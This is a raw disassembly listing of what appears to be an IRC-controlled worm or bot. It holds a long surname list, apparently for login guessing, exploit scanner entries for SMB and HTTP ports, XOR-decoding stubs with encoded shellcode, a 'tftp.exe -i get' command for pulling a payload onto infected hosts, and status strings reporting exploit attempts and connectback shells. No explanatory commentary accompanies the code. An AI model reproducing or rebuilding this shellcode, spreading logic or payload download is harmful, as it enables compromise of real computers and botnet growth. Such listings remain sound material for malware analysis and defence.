aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DA08o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DA04o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DA00o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9FCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9F8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9F4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9F0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9ECo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9E8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9E4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9DCo
					; ___:0042D9E0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9D8o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D9D4o
aColella	db 'Colella',0          ; DATA XREF: ___:0042D9D0o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D9CCo
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D9C4o
aClow		db 'Clow',0             ; DATA XREF: ___:0042D9C0o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D9BCo
aClement	db 'Clement',0          ; DATA XREF: ___:0042D9B8o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D9B4o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D9B0o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D9ACo
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D9A8o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D9A4o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D9A0o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042D99Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D998o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D994o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D990o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D98Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D988o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D984o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D980o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D97Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D978o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D974o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D970o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D96Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D968o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D964o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D960o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D95Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D958o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D954o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D950o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D94Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D948o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D944o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D940o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D93Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042D938o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D934o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D930o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D92Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D928o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D924o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D920o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D91Co
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D918o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D914o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D910o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D90Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D908o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D904o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D900o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8FCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8F8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8F0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8ECo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8E8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8E4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8E0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8DCo
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8D8o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8D4o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8D0o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D8CCo
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D8C8o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D8C4o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D8C0o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D8BCo
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D8B8o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D8B4o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D8B0o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D8ACo
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D8A8o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D8A4o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D8A0o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D89Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D898o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D890o
					; ___:0042D894o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D88Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D888o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D884o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D880o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D87Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D878o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D874o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D870o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D86Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D868o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D864o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D860o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D85Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D858o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D854o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D850o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D84Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D848o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D844o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D840o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D83Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D838o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D834o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D830o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D82Co
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042D828o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D824o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D820o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D81Co
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D818o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D814o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D810o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D80Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D808o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D804o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D800o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7FCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7F8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7F4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7F0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7ECo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7E8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7E4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7E0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7DCo
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7D8o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7D4o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042D7CCo
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D7C8o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D7C4o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D7C0o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D7BCo
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D7B8o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D7B4o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D7B0o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D7ACo
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D7A8o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D7A4o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D7A0o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D79Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D798o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D794o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D790o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D78Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D788o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D784o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D780o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D77Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D778o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D774o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D770o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D76Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042D768o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D764o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D760o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D75Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D758o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D754o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D750o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D74Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D748o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D744o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D740o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D73Co
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D738o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D734o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D730o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D72Co
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D728o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D724o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D720o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D71Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D718o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D714o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D710o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D70Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D708o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D704o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D700o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6FCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6F8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6F4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6F0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6ECo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6E8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6E4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6E0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6DCo
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6D8o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6D4o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6D0o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D6CCo
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D6C8o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D6C4o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D6C0o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D6BCo
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D6B8o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D6B4o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D6B0o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D6ACo
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D6A4o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D6A0o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D69Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D698o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D694o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D690o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D68Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D688o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D684o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D680o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D67Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D678o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D674o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D670o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D66Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D668o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D664o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D660o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D65Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D658o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D654o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D650o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D64Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D648o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D644o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D640o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D63Co
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D638o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D634o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D630o
		align 4
byte_431288	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_43128C	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431290	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431298	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_43129C	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_4312A0	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_4312A4	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_4312A8	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_4312AC	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_4312B0	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_4312B4	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_4312B8	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_4312C0	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312D0
; ---------------------------------------------------------------------------

loc_4312CE:				; CODE XREF: ___:loc_4312D0p
		jmp	short loc_4312D5
; ---------------------------------------------------------------------------

loc_4312D0:				; CODE XREF: ___:004312CCj
		call	loc_4312CE

loc_4312D5:				; CODE XREF: ___:loc_4312CEj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312DC:				; CODE XREF: ___:004312E1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312DC
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312F2:				; CODE XREF: ___:004312F7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312F2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431394
		jnz	short loc_431380
		retn
; ---------------------------------------------------------------------------

loc_431380:				; CODE XREF: ___:0043137Dj
					; ___:0043138Dj
		call	near ptr loc_431385+1

loc_431385:				; CODE XREF: ___:loc_431380p
		add	[edx+0], ch
		call	sub_431394
		jz	loc_431380
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431394	proc near		; CODE XREF: ___:00431378p
					; ___:00431388p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431394	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431440	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431444	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431448	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_43144C	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431450	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431454	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 10h
		db 2 dup(0)
byte_431622	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_0	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_43164E

; =============== S U B	R O U T	I N E =======================================



sub_43163E	proc near		; CODE XREF: sub_43163E:loc_43164Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_431646:				; CODE XREF: sub_43163E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431646
		jmp	short loc_431653
; ---------------------------------------------------------------------------

loc_43164E:				; CODE XREF: ___:0043163Cj
		call	sub_43163E

loc_431653:				; CODE XREF: sub_43163E+Ej
		jo	short near ptr dword_4315DC+12h
		cwde
		cdq
		cdq
		retn
sub_43163E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 10h
dword_4317D0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317DC	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317FC	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431844	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431880	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431890	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_4318AC	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318E0	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
